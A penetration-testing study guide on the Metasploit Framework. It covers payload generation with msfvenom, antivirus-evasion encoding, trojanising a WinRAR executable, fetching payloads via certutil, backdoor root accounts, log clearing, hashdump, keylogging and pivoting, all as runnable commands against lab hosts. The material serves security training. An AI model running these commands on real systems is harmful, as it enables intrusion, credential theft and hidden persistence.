3.3 The Metasploit Framework


Overview

Introduction

The Metasploit Framework is an open-source, robust penetration testing and exploitation framework that is used by penetration testers and security researchers worldwide. It provides a robust infrastructure required to automate every stage of the penetration testing lifecycle.

It's used to develop and test exploits and has one of the world's largest databases of public, tested exploits. It's designed to be modular, allowing for new functionality to be implemented with ease. The source code is available on GitHub and developers are constantly adding exploit modules.

There are 3 editions:

  1. Metasploit Pro (Commercial)

  2. Metasploit Express (Commercial)

  3. Metasploit Framework (Community)

There are multiple interfaces:

  • MSFconsole

  • MSFcli (discontinued in 2015)

  • Metasploit Community Edition (web GUI)

  • Armitage (Java GUI front-end)

Architecture

Module Types

Module
Description

Exploit

Module that is used to take advantage of vulnerability and is typically paired with a payload

Payload

Code that is delivered by MSF and remotely executed on the target after successful exploitation. An example is a reverse shell that initiates a connection from the target system back to the attacker.

Encoder

Used to encode payloads to avoid AV (Anti-Virus) detection. For example, the shikata_ga_nai is used to encode Windows payloads.

NOPS

Used to ensure that payload sizes are consistent and ensure the stability of a payload when executed.

Auxiliary

Used to perform additional functionality like port scanning and enumeration. Cannot be paired with a payload

Payload Types

1 - Non-staged Payload Payload is sent to the target system as it is with the exploit.

2 - Staged Payload The first part (stager) contains a payload that is used to establish a reverse connection back to the attacker to then download the second part of the payload (stage) and execute it.

The meterpreter payload is an advanced multi-functional payload that is executed in memory on the target system making it difficult to detect. It communicates over a stager socket and provides an attacker with an interactive command interpreter on the target system that facilitates the execution of system commands, file system navigation, keylogging, etc.


Metasploit Fundamentals

  • Distributed by Rapid7

  • Can be downloaded on Windows & Linux

  • Pre-installed on Kali

The Metasploit Framework Database (msfdb) is an integral part of the Metasploit Framework and is used to keep track of all your assessments, host data scans, etc. It uses PostgreSQL as the primary database server. It also facilitates the importation and storage of scan results from various third-party tools like Nmap and Nessus.


Auxiliary Modules

View the notes for this section here.

Enumeration

View the notes for this section here.


Vulnerability Scanning

As we know we can use the search function within Metasploit to search for exploit or auxiliary modules pertaining to a target. We can also use searchsploit to find Metasploit modules for a specific service.

searchsploit "Microsoft IIS" | grep -e "Metasploit"

Another technique is using the db_autopwn plugin which is available on GitHub here. I have previously covered this is the vulnerability assessment section but I'll cover it again.

#To download the tool:
wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb

#To move it into the metasploit framework
cd metasploit-autopwn
mv db_autopwn.rb /usr/share/metasploit-framework/plugins/

#To load it within metasploit:
load db_autopwn
db_autopwn -h

If you've enumerated all the information within Metasploit, we can then use autopwn to search for exploits or vulnerabilities according to the target ports open on the system.

db_autopwn -p -t

We can utilize the -PI option to specify a port or a port range.

We can also use the analyze command to analyse an IP within the Metasploit framework for vulnerabilities which it has detected for which exploits are available.

View the notes for Nessus & WMAP here.


Payloads

A client-side attack is an attack vector that involves coercing a client to execute a malicious payload on their system that consequently connects back to the attacker when executed. They typically utilize various social engineering techniques like generating malicious documents or portable executables (PEs). They take advantage of human vulnerabilities as opposed to vulnerabilities in services or software running on the target system.

Note that given this attack vector involves the transfer and storage of the malicious payload on the client's system, attackers need to be cognisant of AV (Anti-Virus) detection.

Msfvenom

We can use it to generate payloads and encode them for various systems.

To tell the difference between staged and non-staged payloads, msfvenom will show the type of shell (for example meterpreter) followed by a forward slash or an underscore. The forward slash means that it's a staged payload and the underscore means that it's a non-staged payload.

#Staged Payload:
windows/x64/meterpreter/reverse_tcp

#Non-staged Payload:
windows/x64/meterpreter_reverse_tcp

Generating Payloads

When generating a payload, it's a good idea to specify the architecture of the target system, followed by the payload. You then need to specify your IP address and the listening port (if required). We now need to select the format option to output it in the specific format you want and the location to store the file. As an example of 32-bit and 64-bit payloads:

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -f exe > ~/Desktop/win_payloadx86.exe

#or

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -f exe > ~/Desktop/win_payloadx64.exe

To generate a 32-bit Linux payload:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -f elf > ~/Desktop/linux_payloadx86

You can list out the formats in which you can export your payload:

msfvenom --list formats

Let's say we now wanted to transfer our payload to the target system. We could do so by setting up a web server. We can then open the web server on the target system and download the executable. Once we have set up our listener, we can execute it on the target system.

sudo python -m SimpleHTTPServer 80

To set up our meterpreter handler or listener:

use multi/handler
set payload (the payload option that you selected with msfvenom)
set LHOST (the ip address you selected with msfvenom)
set LPORT (the port you selected with msfvenom)

Encoding Payloads

Most AV (Anti-Virus) solutions utilize signature based detection in order to identify malicious files or executables. We can evade older signature based AV solutions by encoding our payloads. Encoding is the process of modifying the payload shellcode with the objective of modifying the payload signature.

Note that this technique is no longer really used as most of the current AV solutions have a huge database of signatures which makes it very difficult to mask a payload. But it may work on older AVs or Windows Defender on older versions of Windows.

Shellcode is a piece of code typically used as a payload for exploitation. It gets its name from the term command shell, whereby shellcode is a piece of code that provides an attacker with a remote command shell on the target system.

We can list out the encoders within msfvenom with the following command:

msfvenom --list encoders

The best encoder to use is the shikata_ga_nai encoder for both Windows & Linux systems. For example to encode a 32-bit payload:

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -e x86/shikata_ga_nai -f exe > ~/Desktop/encodedx64.exe

You can encode a payload multiple times. The more you encode it or the number of iterations you do, the higher chance of success you will have again an AV. You can use the option -i to specify how many times you'd like to encode it. As as example:

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe > ~/Desktop/encodedx64.exe

Injecting Payloads

We can inject payloads into executable files to evade AV. We can use the -X option to specify a custom executable file to use as a template. We can also use the -k option with it to preserve the template behaviour and inject the payload as a new thread.

On of the best injectable (as some executables will not allow you to inject payload) payloads is the WinRAR executable for Windows. We can generate a payload and then inject it into the WinRAR executable.

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe -X > ~/Downloads/wrar602.exe > ~/Desktop/winrar.exe

Since we didn't specify the -k option, the file (or WinRAR executable) will not run as a WinRAR file and will only run the payload. However, it will still show that within the meta data that it's the WinRAR archiver, etc. So to be more sneaky, we can use the -k option to keep the functionality of the executable while also executing the payload. However, this will not work with a lot of executables so just be aware.

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe -k -X > ~/Downloads/wrar602.exe > ~/Desktop/winrar.exe

In this case, the WinRAR executable file doesn't allow us to to inject a payload while keeping the original functionality.


Automating Metasploit

Metasploit resource scripts are a great feature of MSF that allow you to automate repetitive tasks and commands. They operate similarly to batch scripts (on Windows), whereby, you can specify a set of commands that you want to execute sequentially.

You can load the script with Metasploit and automate the execution of the commands you specified in the resource script. We can use these resource scripts to automate various tasks like setting up multi handlers as well as loading and executing payloads.

The scripts that Metasploit runs can found in the following path:

/usr/share/metasploit-framework/scripts/resource/

To automate setting up a multi handler:

vim handler.rc

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 1234
run

We can then write and quit from the vim text editor. To now load it:

msfconsole -r handler.rc (or path to the script)

You can load resource scripts from within the Metasploit console:

resource ~/Desktop/handler.rc

You can also make a resource script using the previous commands you typed within msfconsole.

makerc ~/Desktop/new.rc

Windows Exploitation

HTTP File Server

In this case, there is a vulnerable HTTP file server on port 80 on the target. We can perform some service version detection and maybe run an Nmap script on port 80 for information. We can then use searchsploit to search for hfs exploits. There is a Metasploit module to exploit this to gain a meterpreter session.

CVE-2017-0144 EternalBlue

View the notes for this section here.

WinRM

View the notes for this section here.

Apache Tomcat

Apache Tomcat, is a popular, free and open-source Java servlet web server. It's used to build and host dynamic websites and web applications based on the Java software platform. It utilizes the HTTP protocol to facilitate the underlying communication between the server and the clients. It runs on port 8080 by default.

The standard Apache HTTP web server is used to host static and dynamic websites or web applications, typically developed in PHP. On the other hand, the Apache Tomcat web server is primarily used to host dynamic websites or web applications developed in Java.

Any version of Apache Tomcat below V9 is vulnerable to a remote code execution vulnerability that could potentially allow an attacker to upload and execute a JSP payload in order to gain remote access to the target server. We can utilize a pre-built MSF exploit module, tomcat_jsp_upload_bypass to exploit it and consequently gain access to the target.

There are three payloads we can use, the first being the default one, the second being:

set payload java/jsp_shell_bind_tcp

This will give us a command shell session. To get a meterpreter session, we can generate a Windows meterpeter payload with msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=1234 -f exe > meterpreter.exe

We can then set up a web server to host the payload.

sudo python -m SimpleHTTPServer 80

We can then head to the command shell and download the payload.

certutil -urlcache -f http://10.10.10.10/meterpreter.exe meterpreter.exe

Now, we need to set up our handler within Metasploit. Then we can execute the payload.

.\meterpreter.exe

Linux Exploitation

View some of the notes for this section here.

FTP Server

Firstly, let's run an Nmap scan. We can see that vsftpd is running on port 21. We can now search for vsftpd and we see that we have an exploit module (vsftpd_234_backdoor). To open a command shell on the target, we can type /bin/bash -i .

To upgrade our shell to a meterpreter session, we can search for the shell_to_meterpreter module.

SAMBA

We can run an Nmap scan and we see that it has samba open on port 445. We can search for the module is_known_pipename. Once we have obtained a shell. We can upgrade it to a meterpreter session as previously done.

SSH

Again, let's run an Nmap scan and we can see that it's running libssh on port 22. We can use the module libssh_auth_bypass to test if its vulnerable to this exploit. We can now upgrade it to a meterpreter session as previously done.

SMTP

After running our Nmap scan, we see that smtp is running on port 25 and more specifically haraka. We can use the exploit module haraka to exploit the server.


Post-Exploitation Fundamentals

These are the actions performed on the target system after initial access has been obtained. This will generally consist of various techniques:

  • Local enumeration

  • Privilege escalation

  • Dumping hashes

  • Establishing persistence

  • Clearing your tracks

  • Pivoting

Meterpreter Fundamentals

It's an advanced multi-functional payload that operates via DLL injection and is executed in memory on the target system, consequently making it difficult to detect. It communicates over a stager socket and provides an attacker with an interactive command interpreter on the target system that facilitates the execution of system commands, file system navigation, keylogging, etc.

Meterpreter also allows us to load custom scripts and plugins dynamically. Note that it works different on both Linux and Windows for more advanced commands or techniques.

In this case, we will be exploiting the Apache XODA server for which there is a Metasploit module called xoda_file_upload. We will now have a meterpreter session on the target.

Some Useful Commands:

Command
Description

sysinfo

To show OS information and kernel version

getuid

This will show what permissions we currently have

help

To open up the documentation

background

This will keep the session open but, in the background

exit

To completely kill the session

sessions

To list out our active sessions

search

You can specify the directory or file path you want to search in

shell

To get a native command prompt or shell on the target system

ps

This will list out the processes currently on the system by their index / process ID

migrate

We can use this to migrate to a specific process followed by the process ID

execute

This is to execute a command on the target system without opening a shell

To upgrade a command shell to a Meterpreter shell - using the shell_to_meterpreter module. Another method to do this is to automate the process is to run the sessions command followed by -u and then the session ID.

Windows Post-Exploitation

We can utilize these post-exploitation modules to enumerate the following information about the Windows system we currently have access to:

  • User privileges

  • Logged on users

  • Virtual machine check

  • Installed programs

  • Anti-virus

  • Computers connected to that domain

  • Installed patches

  • Shares

Some Useful Windows Meterpreter Commands

Command
Description

getsystem

Attempts to elevate privileges to that of administrator

hashdump

Dumps all the hashes on the system

enumdesktops

Lists all the accessible Windows stations and desktops

keyscan_start

Start a keylogger on the target

show_mount

This will list out the drives or mounts mounted on the target system and type

getprivs

This will show the privileges that you have

Some Useful Windows Post-Exploitation Modules

Module
Description

archmigrate

Elevate the meterpreter session from 32-bit to 64-bit

win_privs

Enumerates the privileges of the current user on the target

enum_logged_on_user

Will check if we have any current or previous logged on users and SID

checkvm

This to check if it's a virtual machine

enum_applications

This will tell us what programs are installed on the target system

enum_av_excluded

Enumerates what folders are excluded from the AV scans

enum_computers

This will tell us if the host is parts of a domain

enum_patches

Enumerates the installed patches

enum_shares

Enumerates the shares

enable_rdp

To check whether RDP is enabled on the target system

If the enum_patches module fails, you can always enumerate the same information by opening up a shell on the target and running the systeminfo command.

Bypassing UAC

View some of the notes for this section here.

Once we have exploited the target, and we have a 64-bit meterpreter session, we can see that the user which we gained access to is part of the administrators group. To bypass UAC with Metasploit, we can use the bypassuac_injection module which will execute it in memory. Now that we have the privileges requires, we can use the getsystem command.

Token Impersonation with Incognito

View the notes for this section here.

Dumping Hashes with Mimikatz

View the notes for this section here.

Pass-the-Hash with PsExec

View the notes for this section here.

Establishing Persistence

Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Gaining an initial foothold is not enough, we have to setup and maintain persistent access to your targets.

Note that to setup persistence, we will need elevated privileges. We can use any of the Windows persistence module available but the module we are looking for is the persistence_service module. Once we have run the module, we can then setup our multi/handler to connect back to the target whenever we need to re-gain access.

Enabling RDP

After gaining access, we can use the Metasploit module enable_rdp. Since we need cleartext credentials for this, we can crack the hashes or just change the administrator password (which is obviously not recommended in a real scenario). To do this, open up a shell and run the following command:

net user administrator password_123

Alternatively, we can use the xfreerdp tool to connect:

xfreerdp /u:administrator /p:password_123 /v:target_ip

Keylogging

This is the process of recording or capturing the keystrokes entered on a target system. It's not limited to post-exploitation, there are plenty of programs and USB devices can be used to capture and transmit the keystrokes entered on a system. We can perform keylogging using meterpreter.

Firstly, we need to migrate to the explorer process and we can use the keyscan_dump, keyscan_start and keyscan_stop.

Clearing Windows Event Logs

Windows stores and catalogues all actions/events performed on the system and stores them in the Windows Event log. They are categorized based on the type of events they store:

  • Application logs - stores application/program events like start-ups, crashes, etc.

  • System logs - stores system events like start-ups, reboots, etc.

  • Security logs - stores security events like password changes, authentication failures, etc.

Event logs can be accessed via the Event Viewer on Windows. It is very important to clear your tracks after the assessment as the event logs are the first stop for any forensic investigator after a compromise has been detected. To clear the event logs with meterpreter, all you have to do is type clearev. Note that you have to have administrator privileges to do this.

Pivoting

This is a post-exploitation technique that involves utilizing a compromised host to attack other systems on the compromised host's private internal network. After gaining access to the host, we can use the compromised host to exploit other hosts on the same internal network to which we could not access previously.

Since we have gained access to the first target, to pivot to the second target, we add a route using the following meterpreter command:

run autoroute -s 10.10.10.0/20 (replace with target_ip followed by subnet)

We can now run a port-scanning auxiliary module to run a scan from the first target system. Since we can see that port 80 is open and we'd like to scan it, we have to forward it to our system. We can do this from our meterpreter session on target 1.

portfwd add -l 1234 (our port to listen on) -p 80 (port to forward) -r 10.10.10.10 (target2_ip)

We can now run an Nmap scan within Metasploit on target 2.

db_nmap -sS -sV -p 1234 localhost

Since we can see that it is also running the Bad Blue service, we can exploit it, but we have to set the payload to a bind connection as a reverse connection will not work.

set payload windows/meterpreter/bind_tcp

Linux Post-Exploitation

Again, the objective is the same as we would do for Windows - but this time for Linux. We can enumerate some extra information on Linux systems via opening up a command shell:

Command
Description

cat /etc/passwd

Lists out the other user accounts in the system

groups (user_name)

To find out what groups the user is part of

cat /etc/*issue

Enumerates the release version

uname -r

Gives you the kernel version

uname -a

Gives you the host name, kernel information, architecture and more

ip a s

Lists out all the interfaces on the target system

netstat -antp

Lists out the various services that are running on open ports

ps aux

Lists out the processes on the system

enf

Enumerates the environment variables

Some Useful Windows Post-Exploitation Modules

Module
Description

enum_config

Will get all the Linux configuration files on the system

gather/env

Gather the OS environments settings

enum_network

Enumerate network information

enum_protections

Checks for protection systems / system hardening on the Linux system

enum_system

Performs system enumeration

checkcontainer

Checks if it's a docker container

checkvm

Checks if it's a virtual machine

enum_users_history

Enumerates the user command history on the target system

Linux Privilege Escalation

Metasploit offers very little in regards to Linux kernel exploit modules, however, is some cases, there may be an exploit module that can be utilized to exploit a vulnerable service or program in order to elevate our privileges.

Once we have gained initial unprivileged access to the target system, let's upgrade our shell session to a meterpreter session and then spawn a bash session. Now, let's have a look at the process tree using the ps aux command.

We can see that there is a binary which is run by the root user. Let's cat out the contents of the /bin/check-down process. We can see that chrootkit is running. In this case, chrootkit is vulnerable to an exploit. We can use the Metasploit module to exploit it. We need to select the path to the chkrootkit path and run it. Then it will wait for the Cron job to run and we will have elevated privileges.

Dumping Hashes with Hashdump

Hashdump is a post-exploitation module. It is a direct command within meterpreter that work on Windows systems but we will have to use the module for Linux systems.

Linux password hashes are stored in the /etc/shadow file and can only be accessed by the root user or a user with root privileges. The hashdump module can be used to dump the hashes from the /etc/shadow file and to unshadow the hashes for password cracking with John the Ripper.

Establishing Persistence

In order to establish persistence on a Linux system, you will require root privileges.

The first way to do this, is to set up a backdoor user that will allow us to reconnect to the system. This will only work if the system is running SSH. We can do this by opening up a bash shell.

useradd -m ftp (or other username) -s /bin/bash   <-- Create the user
passwd ftp                                        <-- Setting the password
usermod -aG root ftp                              <-- Adding user to root group
usermod -u 15 ftp                                 <-- Modifies the account ID

One Metasploit module we can use to establish persistence is cron_persistence or sshkey_persistence or service_persistence.


Metasploit GUIs

Armitage

Armitage is a free Java based GUI front-end for the Metasploit Framework. It's used to simplify network discovery, exploitation and post-exploitation.

Armitage requires the MSF database and the Metasploit backend services to be enabled and running in order to function correctly. It comes pre-packaged with Kali Linux. So once you have Metasploit started up and running, you can type armitage in the terminal to open it up.

Last updated